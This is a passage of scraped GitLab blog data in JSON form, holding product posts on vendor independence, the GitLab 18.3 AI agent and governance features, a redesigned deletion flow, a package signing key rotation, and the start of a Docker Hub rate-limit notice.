flexibility and vendor independence. While some platforms lock customers into single, large language model (LLM) providers, creating additional vendor dependencies and potential single points of failure, GitLab's AI features are powered by a variety of models. This approach enables us to support a wide range of use cases, providing customers with the flexibility to align with their strategic priorities.\n\nAs we further develop GitLab Duo Agent Platform, we remain focused on data control and maintaining comprehensive human-in-the-loop controls. And GitLab Duo Self-Hosted provides complete data sovereignty with air-gapped deployment options, zero-day data retention policies, and the ability to process all AI requests within your own infrastructure.\n\nSince May 2024, we've also maintained an [AI continuity plan](https://handbook.gitlab.com/handbook/product/ai/continuity-plan/) with an industry-leading commitment: the ability to evaluate and move to a new model within 30 days if a provider changes its practices regarding customer data. This proactive approach to AI vendor risk management reflects our dedication to customer control.\n\n## Choice in deployment, choice in cloud provider\n\n**You should be able to choose how and where to deploy your DevSecOps environment.** GitLab provides genuine deployment flexibility. Organizations can choose from on-premises installations, multi-tenant SaaS, or GitLab Dedicated, our fully managed single-tenant SaaS solution, without sacrificing functionality or facing artificial restrictions designed to drive ecosystem lock-in. GitLab is also cloud-neutral, allowing customers to use the cloud provider that best suits their business needs and environment.\n\nThis flexibility proves invaluable when navigating complex jurisdictional requirements and regulatory challenges. When new data localization laws emerge — as we've seen across the European Union and other regions — organizations using GitLab can rapidly adapt their deployment strategies without being constrained by ecosystem dependencies.\n\nFrom a procurement and risk management perspective, platform independence also provides crucial leverage in contract negotiations. Organizations aren't forced into restrictive licensing agreements that prioritize vendor interests over customer needs. This independence becomes particularly critical as enterprises become more vigilant about who controls their AI stack.\n\n## Security and compliance: Built-in and always a priority\n\n**Security and compliance are now equally important to development features and should be built into the platform, not retrofitted as an afterthought.** GitLab's single platform approach provides significant advantages over fragmented platforms that rely on third-party add-ins to match basic security and governance features. This architectural difference has significant implications for possible legal risk, operational efficiency, and regulatory compliance. Each additional tool in the chain represents another potential point of failure, another set of terms and conditions to negotiate, and another source of risk.\n\nGitLab provides comprehensive built-in security and compliance capabilities, including custom compliance frameworks, dynamic application security testing (DAST), API fuzz testing, coverage-guided fuzzing, and infrastructure-as-code testing. These capabilities are natively integrated into the platform, offering consistent policy enforcement and reducing the compliance complexity and additional costs that come with managing multiple third-party tools.\n\nOur [compliance center](https://docs.gitlab.com/user/compliance/compliance_center/) provides a central location for teams to manage their compliance standards, adherence reporting, violations reporting, and compliance frameworks for their group. This unified approach to compliance management is particularly valuable for organizations operating in highly-regulated industries where audit trails and compliance documentation are critical.\n\n## Staying close to our open source community\n\n**The best tools are shaped by the people who use them.** Our commitment to open source and engagement with our community has been core to GitLab since our founding. For instance, our [Co-Create program](https://about.gitlab.com/community/co-create/) is a collaborative initiative that enables customers to work directly with GitLab engineers to contribute features, fixes, and enhancements to the GitLab platform.\n\nOur transparency value remains fundamental to our business. An example of this is our [open issue tracker](https://gitlab.com/groups/gitlab-org/-/issues), where customers can follow our progress and engage directly with the GitLab team in discussions about ways we can improve our product. We recently launched our [Healthy Backlog Initiative](https://about.gitlab.com/blog/inside-gitlabs-healthy-backlog-initiative/) to give customers even greater visibility into our planning and direct their feedback to places with the greatest impact.\n\nOur approach enables organizations to contribute to and benefit from open source innovation while maintaining the governance, audit trails, and security controls required for regulated environments.\n\n## Data governance: Your data, your control\n\n**You maintain complete control over your data and how it's processed.** Data governance has become an increasingly critical factor in enterprise technology decisions, driven by a complex web of national and regional data protection laws and growing concern about control over sensitive intellectual property — like source code, customer insights, strategic initiatives, and competitive intelligence.\n\nWith GitLab, you can manage who has access to AI-powered capabilities within the platform, extending beyond simple access controls to encompass encryption standards and audit capabilities aligned to regulatory frameworks. Also, customers' code and data are never used to train AI models.\n\n## The choice is clear\nGitLab continues to lead in AI-native DevSecOps platform innovation – our recent [18.3 release](https://about.gitlab.com/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/) demonstrates this – while staying true to the independence and transparency commitments that have always guided us.\n\nCustomers have a choice and it's clear: retaining control vs. vendor lock-in; transparency vs. uncertainty; dedication to innovation vs. whims of the larger ecosystem.\n\nGitLab provides the foundation for sustainable digital transformation that balances innovation with independence, helping you achieve business value for your customers.\n\n[Try GitLab Ultimate with GitLab Duo for free today.](https://about.gitlab.com/free-trial/)",[684,718,766,810,847],"open source","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756500636/wmey6kqzzuhirk88w2de.png",{"featured":91,"template":798,"slug":850},"why-enterprise-independence-matters-more-than-ever-in-devsecops",{"content":852,"config":860},{"title":853,"description":854,"authors":855,"heroImage":857,"date":791,"body":858,"category":688,"tags":859},"GitLab 18.3: Expanding AI orchestration in software engineering","Learn how we're advancing human-AI collaboration with enhanced Flows, enterprise governance, and seamless tool integration.",[856],"Bill Staples","https://res.cloudinary.com/about-gitlab-com/image/upload/v1755711502/wuuadis1pza3zehqohcc.png","Today, GitLab is a comprehensive DevSecOps platform, unifying every stage of the software lifecycle. Building on that foundation, we're on a journey toward becoming the world's first AI-native platform for software engineering. At GitLab, we believe the future of software engineering is an inherently human and AI collaboration, and we want to bring the very best AI capabilities to every GitLab user.  \n\nThis transformation is happening at three distinct layers that go beyond what other AI dev tools are doing:\n\n![AI-native transformation slide visualizing what's laid out below](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png)\n\n**First, we are a system of record.** Our unified data platform holds your most valuable digital assets. This includes your source code and intellectual property, as well as a wealth of unstructured data spanning project plans, bug backlogs, CI/CD configurations, deployment histories, security reports, and compliance data. This creates a treasure trove of contextual data that remains securely within your GitLab environment, unavailable to generic agents or large language models.\n\n**Second, we act as your software control plane.** We orchestrate your most critical business processes through Git repositories, REST APIs, and webhook-based interfaces that power your end-to-end software delivery. Many of our customers consider this a tier-0 dependency that their critical business processes rely on daily.\n\n**Third, we deliver a powerful user experience.** We deliver an integrated interface that helps eliminate the costly context-switching that slows down most engineering teams. With complete lifecycle visibility and collaboration tools in one platform, over 50 million registered users and our vast community depend on GitLab to get their work done. This expertise positions GitLab uniquely to pioneer intuitive human-to-AI collaboration that amplifies team productivity while preserving the workflows that our users know and trust.\n\n**Extending our platform with AI natively integrated at every layer**\n\n[GitLab Duo Agent Platform](https://about.gitlab.com/gitlab-duo/agent-platform/) integrates and extends all three of these layers. It is designed for extensibility and interoperability, enabling customers and partners to build solutions that create even more value. Our open platform approach emphasizes seamless connectivity with external AI tools and systems while being deeply integrated into our existing stack at all three layers.\n\n* First, we're extending our unified data platform with a **Knowledge Graph,** which indexes and stitches together code with all of the rest of your unstructured data, specifically optimized for agentic access. AI thrives on context, and we believe this will not only accelerate reasoning and inference by agents but also deliver lower-cost and higher-quality agentic outcomes.\n* Second, we're adding an important **Orchestration Layer** to our existing Control Plane in three distinct parts: enabling agents and flows to register as subscribers for GitLab SDLC events, building a new orchestration engine that allows for purpose-built, multi-agent flows, and exposing GitLab tools, agents, and flows via MCP and standard protocols for unparalleled interoperability.\n* Finally, we're extending the **GitLab experience** to deliver first-class agents and agent flows across the entire software development lifecycle. You'll be able to assign async tasks to agents, @ mention them in comments, and create custom agents with context specific to your workflows — but more importantly, GitLab is shipping native agents for every stage of development while unlocking a rich ecosystem of third-party agents. This creates true human-to-AI collaboration where agents become as natural to work with as your human teammates.\n\nWatch this video to see what's coming in 18.3 and beyond, or read on.\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111796316?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab_18.3 Release_081925_MP_v1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## What's new in GitLab 18.3\n\nWith 18.2, we introduced specialized [AI agents](https://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box) that work alongside developers across the software development lifecycle, plus our [Software Development Flow](\u003Chttps://about.gitlab.com/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta>) — a powerful feature that gives users the ability to orchestrate multiple agents to plan, implement, and test code changes end-to-end.\n\nGitLab 18.3 introduces expanded integrations and interoperability, more Flows, and enhanced context awareness across the entire software development lifecycle.\n\n### Expanded integrations and interoperability\n\nWe're delivering comprehensive AI extensibility through both first-party GitLab agents and a rich ecosystem of third-party agents, all with full access to project context and data. This approach maintains native GitLab workflows and governance while providing the flexibility to choose preferred tools through highly integrated orchestration between these agents and GitLab's core platform. Teams gain enhanced AI functionality while preserving key integration, oversight, and user experience benefits.\n\n* **MCP server - Universal AI integration:** GitLab's MCP ([Model Context Protocol](https://about.gitlab.com/topics/ai/model-context-protocol/)) server enables AI systems to securely integrate directly with your GitLab projects and development processes. This standardized interface eliminates custom integration overhead and allows your AI tools — including [Cursor](https://docs.cursor.com/en/tools/mcp) — to work intelligently within your existing GitLab environment. See our [docs](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/) for a full list of tools included with 18.3. **This is only the start; additional tools are planned for 18.4.**\n> *“Bringing GitLab workflows directly into Cursor is a critical step in reducing friction for developers. By minimizing the need for context switching, teams can check issue status, review merge requests, and monitor pipeline results without ever leaving their coding environment. This integration is a natural fit for our shared customers, and we look forward to a long-term partnership with GitLab to continue enhancing developer productivity.”*\n>\n> \\- **Ricky Doar, VP of Field Engineering at Cursor**\n>\n> *“GitLab's MCP server and CLI agent support create powerful new ways for Amazon Q to integrate with development workflows. Amazon Q Developer can now connect directly through GitLab's remote MCP interface, while teams can delegate development tasks by simply @ mentioning Amazon Q CLI in issues and merge requests. The robust security and governance capabilities built into these integrations give enterprises the confidence to leverage AI coding tools while preserving their development standards. Our partnership with GitLab demonstrates AWS' ongoing commitment to expanding our AI ecosystem and making intelligent development tools accessible wherever developers work.\"*\n>\n> \\- **Deepak Singh, Vice President of Developer Agents and Experiences at AWS**\n\n* **CLI agent support for Claude Code, Codex, Amazon Q, Google Gemini, and opencode (Bring Your Own Key):** 18.3 introduces integrations that enable teams to delegate routine development work by @ mentioning their agents directly in issues or merge requests. When developers mention these AI assistants, they automatically read the surrounding context and repository code, then respond to the user's comment with either ready-to-review code changes or inline comments. These integrations require you to bring your own API key for the respective AI providers and keep all interactions natively within GitLab's interface while maintaining proper permissions and audit trails.\n\n\n  **Note:** Third-party agents is a GitLab Premium Beta feature and only available to GitLab Duo Enterprise customers for evaluation.  \n\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111784124?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Third Party Agents Flows Claude Code\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> *“Bringing Claude Code directly into GitLab puts AI assistance where millions of developers already collaborate and ship code daily. The ability to mention Claude directly in issues and merge requests removes friction while maintaining quality with human oversight and review processes. This update brings Claude Code's capabilities to more places where teams work, making AI a natural part of their developer workflow.”*\n>\n> **\\- Cat Wu, Claude Code Product Lead, Anthropic**\n>\n> *“With GitLab's new agent integration in 18.3 you can use opencode within your existing workflows. You can @mention opencode in an issue or merge request and it'll run your agent right in your CI pipeline. This ability to configure and run opencode the way you want is the type of integration we know the open source community really values.”*\n>\n> **\\- Jay V., CEO, opencode**\n\n* **Agentic Chat support for Visual Studio IDE and GitLab UI available to all Premium and Ultimate customers:** With 18.3, you no longer need to context-switch between tools to access GitLab's full development lifecycle data. Our enhanced integrations bring the complete power of GitLab Duo into the GitLab UI as well as IDEs — expanding support from JetBrains and VS Code to now include Visual Studio. This helps developers stay in flow while accessing rich project context, deployment history, and team collaboration data directly within their preferred environment.\n* **Expanded AI model support:** GitLab Duo Self-Hosted now supports additional AI models, giving teams more flexibility in their AI-supported development workflows. You can now deploy open source OpenAI GPT models (20B and 120B parameters) through vLLM on your datacenter hardware, or through cloud services like Azure OpenAI and AWS Bedrock in your private cloud. Additionally, Anthropic's Claude 4 is available on AWS Bedrock\n\n### New automated development flows\n\nGitLab Flows coordinate multiple AI agents with pre-built instructions to autonomously handle those time-consuming, mundane tasks so developers can focus on the work that matters most.\n\nGitLab 18.3 comes with two new Flows:\n\n* **Issue to MR Flow enabling automated code generation from concept to completion in minutes:** This Flow automatically converts issues into actionable merge requests (MRs) by coordinating agents to analyze requirements, prepare comprehensive implementation plans, and generate production-grade code that's ready for review — helping you turn ideas into reviewable implementations in minutes, not hours.\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111782058?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Issue to MR\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n* **Convert CI File Flow built for seamless migration intelligence:** Our Convert CI File Flow streamlines migration workflows by having agents analyze existing CI/CD configurations and intelligently convert them to GitLab CI format with full pipeline compatibility. This helps eliminate the manual effort and potential errors of rewriting CI configurations from scratch, enabling teams to migrate entire deployment pipelines with confidence. 18.3 includes support for Jenkins migrations. Additional support is planned for future releases.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783724?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Convert to CI Flow\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### Intelligent code and search\n\nAI point solutions typically operate with limited visibility into isolated code snippets, but GitLab's Knowledge Graph provides agents with environment context to help inform faster and more intelligent responses.\n\n* **Knowledge Graph for real-time code intelligence:** With 18.3, GitLab's Knowledge Graph now delivers real-time code indexing to enable faster code searches, delivering more accurate and contextual results. By understanding the relationships between files, dependencies, and development patterns across your entire codebase, our agents are designed to provide insights that would take human developers hours to uncover — **and this is just the first step in unlocking the powerful capabilities that are planned for Knowledge Graph.**\n\n### Enterprise governance\n\nAI transparency and organizational control are critical challenges that can hold teams back from fully adopting AI-powered development tools, with [85% of executives agreeing that agentic AI will create unprecedented security challenges](https://about.gitlab.com/software-innovation-report/).\n\nThese new features in 18.3 help address concerns around data governance, compliance requirements, and the need for visibility into AI decision-making processes so organizations can integrate AI within their existing security and policy frameworks.\n\n* **Agent Insights for transparency through intelligence:** Our built-in agent tracking provides visibility into agent decision-making processes. Users can optimize workflows and follow best practices through transparent activity tracking.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783244?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Insights\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **GitLab Duo Code Review for Self-Hosted:** This brings the intelligence of GitLab Duo to organizations with strict data governance requirements by allowing teams to keep sensitive code in controlled environments.\n* **Hybrid model configurations for flexible AI deployment:** GitLab Duo Self-Hosted customers can now use hybrid model configurations, combining self-hosted AI models via their local AI gateway with GitLab's cloud models through GitLab's AI gateway, enabling access to various features.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111783569?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Self Hosted Models Code Review\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\u003Cp>\u003C/p>\n\n* **Enhanced security with OAuth support:** Our MCP server now includes full OAuth 2.0 authentication support, enabling secure connections to protected resources and sensitive development environments. This implementation follows the draft OAuth specification for MCP, handling authorization flows, token management, and dynamic client registration. \n\n### Secure by Design platform: Governance that scales\n\nTrue platform security requires consistent application of governance principles across every layer of the development lifecycle. The same security fundamentals that make AI adoption safe — least-privilege access, centralized policy management, proactive monitoring, and granular permissions — must be embedded throughout the entire SDLC to create a cohesive, defense-in-depth approach.\n\nGitLab 18.3 strengthens the foundational controls that help protect your entire software supply chain with these new updates:\n\n* **Custom admin role:** Provides granular, purpose-built administrative permissions, replacing blanket admin access with precise, least-privilege controls. Instead of granting blanket administrative privileges that create security risks, organizations can now create specialized roles tailored to specific functions — platform teams managing runners and monitoring, support teams handling user management, and leadership accessing dashboards and usage statistics. With complete role lifecycle management through UI and API, audit logging, and auto-generated documentation, this feature enables true least-privilege administration while helping maintain operational efficiency and improve overall instance security.\n* **Instance-level compliance framework and security policy management**: Organizations can now designate a dedicated compliance group that has the authority to apply standardized frameworks and security policies directly to top-level groups, automatically cascading enforcement to all their subgroups and projects. This centralized approach eliminates the compliance adoption blocker of fragmented policy management while maintaining group autonomy for additional local policies.\n* **Enhanced violations reporting:** Teams now receive immediate notifications when unauthorized changes are made to MR approval rules, framework policies lack proper approvals, or time-based compliance controls are violated. By directly linking violations to specific compliance framework controls, teams get actionable insights that tell them exactly which requirement was breached, turning compliance from a reactive checkbox exercise into a proactive, integrated part of the development and security workflow.\n* **Fine-grained permissions for CI/CD job tokens:** Replaces broad token access with granular, explicit permissions that grant CI/CD jobs access only to specific API endpoints they actually need. Instead of allowing jobs blanket access to project resources, teams can now define precise permissions for deployments, packages, releases, environments, and other critical resources, reducing the attack surface and potential for privilege escalation.\n* **AWS Secrets Manager integration:** Teams using AWS Secrets Manager can now retrieve secrets directly in GitLab CI/CD jobs, simplifying the build and deploy processes. Secrets are accessed by a GitLab Runner using OpenID Connect protocol-based authentication, masked to prevent exposure in job logs, and destroyed after use. This approach eliminates the need to store secrets in variables and integrates cleanly into existing GitLab and AWS-based workflows. Developed in close collaboration with Deutsche Bahn and the AWS Secrets Manager team, this integration reflects our commitment to building solutions alongside customers to solve real-world challenges.\n\n### Artifact management: Securing your software supply chain\n\nWhen artifacts aren't properly governed, small changes can have big consequences. Mutable packages, overwritten container images, and inconsistent rules across tools can trigger production outages, introduce vulnerabilities, and create compliance gaps. For enterprise DevSecOps, secure, centralized artifact management is essential for keeping the software supply chain intact.\n\n#### Enterprise-grade artifact protection in 18.3\n\nBuilding on our comprehensive package protection capabilities, GitLab 18.3 adds important new features:\n\n* **Conan revisions support:** New in 18.3, [Conan revisions](https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions) provide package immutability for C++ developers. When changes are made to a package without changing its version, Conan calculates unique identifiers to track these changes, enabling teams to maintain immutable packages while preserving version clarity.\n* **Enhanced Container Registry security:** Following the successful launch of [immutable container tags](https://docs.gitlab.com/user/packages/container_registry/immutable_container_tags/) in 18.2, we're seeing strong enterprise adoption. Once a tag is created that matches an immutable rule, no one — regardless of permission level — can modify that container image, preventing unintended changes to production dependencies.\n\nThese enhancements complement our existing protection capabilities for npm, PyPI, Maven, NuGet, Helm charts, and generic packages, enabling platform teams to implement consistent governance across their entire software supply chain — a requirement for organizations building secure internal developer platforms.\n\nUnlike standalone artifact solutions, GitLab's integrated approach eliminates context switching between tools while providing end-to-end traceability from code to deployment, enabling platform teams to implement consistent governance across their entire software delivery pipeline.\n\n### Embedded views: Real-time visibility and reports\n\nAs GitLab projects grow in complexity, teams find themselves navigating between issues, merge requests, epics, and milestones to maintain visibility into work status. The challenge lies in consolidating this information efficiently while ensuring teams have real-time access to project progress without context switching or breaking their flow.\n**Launching real-time work status visibility in 18.3**\nGitLab 18.3's [embedded views, powered by our powerful GitLab Query Language](https://docs.gitlab.com/user/glql/#embedded-views) (GLQL), eliminate context switching by bringing live project data directly into your workflow:\n* **Dynamic views:** Insert live GLQL queries in Markdown code blocks throughout wiki pages, epics, issues, and merge requests that automatically refresh with current project states each time you load the page.\n* **Contextual personalization:** Views automatically adapt using functions like `currentUser()` and `today()` to show relevant information for whoever is viewing, without manual configuration.\n* **Powerful filtering:** Filter by 25+ fields, including assignee, author, label, milestone, health status, and creation date.\n* **Display flexibility:** Present data as tables, lists, or numbered lists with customizable field selection, item limits, and sort orders to keep your views focused and actionable\n\nUnlike fragmented project management approaches, we've designed embedded views to maintain your workflow continuity while providing real-time visibility, enabling teams to make informed decisions without losing focus or switching between multiple tools and interfaces.\n\n> Learn about the [newest features in GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/).\n## Get started today\nGitLab 18.3 is available now for GitLab Premium and Ultimate users on GitLab.com and self-managed environments.\n\nGitLab Dedicated customers are now upgraded to 18.2 and will be able to use the features released with GitLab 18.3 next month.\n\nReady to experience the future of software engineering?[ Enable beta and experimental features for GitLab Duo](https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features) and start collaborating with AI agents that understand your complete development context.\n\nNew to GitLab? [Start your free trial](https://gitlab.com/-/trials/new) today and discover why the future of software engineering is human and AI collaboration, orchestrated through the world's most comprehensive DevSecOps platform.\n\n\u003Cp>\u003Csmall>\u003Cem>This blog post contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in the forward-looking statements contained in this blog post are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to be materially different from any future results or outcomes expressed or implied by the forward-looking statements.\u003C/em>\u003C/p>\n\u003Cp>\u003Cem>Further information on risks, uncertainties, and other factors that could cause actual outcomes and results to differ materially from those included in or contemplated by the forward-looking statements contained in this blog post are included under the caption “Risk Factors” and elsewhere in the filings and reports we make with the Securities and Exchange Commission. We do not undertake any obligation to update or release any revisions to any forward-looking statement or to report any events or circumstances after the date of this blog post or to reflect the occurrence of unanticipated events, except as required by law.\u003C/em>\u003C/small>\u003C/p>",[766,684,486,810,776],{"featured":91,"template":798,"slug":861},"gitlab-18-3-expanding-ai-orchestration-in-software-engineering",{"category":696,"slug":700,"posts":863},[864,876,887],{"content":865,"config":874},{"title":866,"description":867,"authors":868,"heroImage":870,"date":871,"body":872,"category":700,"tags":873},"Improving GitLab's deletion flow: What to expect in coming months","GitLab is enhancing its deletion flow for groups and projects with features like pending deletion, self-service recovery, and an extended 30-day recovery window. Here's what you need to know.\n",[869],"Christina Lohr","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663000/Blog/Hero%20Images/tanukilifecycle.png","2025-07-14","At GitLab, we're committed to continuously improving your experience across our platform. Today, we're excited to announce significant enhancements to our deletion flow for groups and projects. We are rolling out a series of improvements designed to protect your data, simplify recovery, and create a more intuitive experience across all pricing tiers.\n\n## Why we're making these changes\n\nOur current deletion flow has some inconsistencies that can lead to frustrating experiences. Free tier users have had limited or no options for recovering accidentally deleted content, projects in personal namespaces haven't had the same protections as those in groups, and group namespace paths have remained locked after deletion, preventing immediate reuse.\n\nWe've heard your feedback, and we're addressing these pain points with a comprehensive redesign of our deletion flow that will be rolled out in multiple iterations.\n\n## What has changed already\n\nOver the past quarter, we have implemented fundamental improvements to create a consistent deletion experience across all pricing tiers. These changes have eliminated the frustration of accidentally deleting important content with no recovery option.\n\n* [**Pending deletion for all users**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#deletion-protection-available-for-all-users)**:** All deleted projects and groups now enter a \"pending deletion\" state before being permanently deleted, regardless of their pricing tier.  \n* [**Self-service recovery**](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/#delayed-project-deletion-for-user-namespaces)**:** You can now restore your own content without contacting support, giving you more control and autonomy over your data.  \n* [**Clear status indicators**](https://gitlab.com/gitlab-org/gitlab/-/issues/502234)**:** We have standardized how deletion status is displayed across the platform, making it immediately clear when content is pending deletion.  \n* **Extended recovery window:** On July 10, 2025, we increased the pending deletion period from 7 to 30 days on GitLab.com. This means you now have ample time to recover from accidental deletions.\n\n## What's coming next\n\n### Currently in development\n\nBuilding on the foundation established in our first iteration, we are further enhancing your deletion experience with two key improvements:\n\n* [**Admin area consistency**](https://gitlab.com/groups/gitlab-org/-/epics/17372)**:** Deletions initiated from the Admin area will follow the same pending deletion process as deletions initiated directly from the group or project level, creating a unified experience across all access points.  \n* [**Immediate path reuse**](https://gitlab.com/gitlab-org/gitlab/-/issues/526081)**:** When you delete a project or group, its namespace path will be automatically renamed, allowing you to immediately reuse the original path for new content. This will remove the waiting period currently required to reuse namespace paths.\n\n### Planned for future release\n\nThe final phase will introduce a redesigned deletion experience that completes our vision for a modern, intuitive deletion system:\n\n* **Centralized \"Trash\" interface:** All your deleted content will be accessible in a dedicated \"Trash\" section, providing a familiar paradigm similar to what you're used to in other applications.  \n* [**Clear action separation**](https://gitlab.com/gitlab-org/gitlab/-/issues/541182)**:** We will create a clear distinction between \"Delete\" (temporary, recoverable) and \"Delete Permanently\" (irrevocable) actions to prevent accidental data loss.  \n* **Bulk management:** You'll be able to restore or permanently delete multiple items at once, making cleanup and recovery more efficient.\n\n## How these changes benefit you\n\nThese enhancements deliver several key benefits that will transform your experience with GitLab's deletion functionality.\n\n* **Protection against data loss** is provided through pending deletion and self-service recovery available across all tiers, giving you a safety net against accidental deletions. The **consistent experience** ensures the same deletion flow applies to all projects and groups, eliminating inconsistencies across the platform.\n\n* You'll gain **greater control** through enhanced visibility and management options for deleted content, with a familiar interface that makes recovery intuitive. **Improved workflow** efficiency will result from immediate path reuse and bulk management capabilities that streamline your content organization process.\n\n* Most importantly, you'll have **peace of mind** knowing that the extended 30-day recovery window ensures ample opportunity to recover important data, while the clear separation between temporary and permanent deletion actions prevents accidental data loss.\n\n## Your feedback matters\n\nAs always, we value your input. Please leave feedback in [the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/538165).",[766],{"featured":6,"template":798,"slug":875},"improving-gitlab-deletion-flow-what-to-expect-in-coming-months",{"content":877,"config":885},{"title":878,"description":879,"authors":880,"heroImage":870,"date":882,"body":883,"category":700,"tags":884},"GitLab rotating Omnibus Linux package signing key","Learn who is impacted by the rotation of the GNU Privacy Guard (GPG) key and what you need to know.",[881],"GitLab","2025-04-16","As part of our standard security practices, GitLab is rotating the GNU Privacy Guard (GPG) key used to sign all Omnibus Linux packages on April 16, 2025. This key ensures the integrity of our packages, verifying that they have not been tampered with after creation in our CI pipelines. This key is distinct from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. GitLab is revoking the existing key and will begin signing upcoming packages using a new key with fingerprint `98BF DB87 FCF1 0076 416C 1E0B AD99 7ACC 82DD 593D`.\n\n**What do I need to do?**\n\nIf you currently validate the GPG signatures of GitLab Omnibus packages, you will need to update your copy of the package signing key. Packages published before this article will remain signed with the previous key.\n\nThe package signing key is separate from the repository metadata signing key used by your operating system’s package managers (like `apt` or `yum`). Unless you are specifically verifying package signatures or have configured your package manager to verify the package signatures, no action is required to continue installing GitLab Omnibus packages.\n\n**Where can I find the new key?**\n\nThe new key can be downloaded from `packages.gitlab.com` using the URL:\n\n[https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg](https://packages.gitlab.com/gitlab/gitlab-ee/gpgkey/gitlab-gitlab-ee-CB947AD886C8E8FD.pub.gpg)\n\nPlease check the documentation for more information concerning [verification of the package signatures](https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures).\n\n**What do I do if I still have problems?**\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).",[486,766,776],{"slug":886,"featured":6,"template":798},"gitlab-rotating-omnibus-linux-package-signing-key",{"content":888,"config":897},{"title":889,"description":890,"authors":891,"heroImage":893,"date":894,"body":895,"category":700,"tags":896},"Prepare now: Docker Hub rate limits will impact GitLab CI/CD","Learn how Docker Hub's upcoming pull rate limits will affect GitLab pipelines and what you can do to avoid disruptions.",[892],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","On April 1, 2025, Docker will implement new [pull rate\nlimits](https://docs.docker.com/docker-hub/usage/) to Docker Hub that may\nsignificantly impact CI/CD pipelines across the industry, including those\nrunning on GitLab. The most significant change is the 100 pulls-per-6-hours\nlimit for unauthenticated users.\n\n\n## What's changing?\n\n\nStarting April 1, Docker will enforce the following pull rate limits:\n\n\n| User type | Pull rate limit per hour | Number of public repositories | Number of private repositories |\n|-----------|----------------|--------------|------------------|\n| Business, Team, Pro (authenticated) | Unlimited (fair use) | Unlimited | Unlimited |\n| Personal (authenticated) | 200 per 6-hour window | Unlimited | Up to 1 |\n| Unauthenticated users | 100 per 6-hour window per IPv4 address or IPv6 /64 subnet | Not applicable | Not applicable 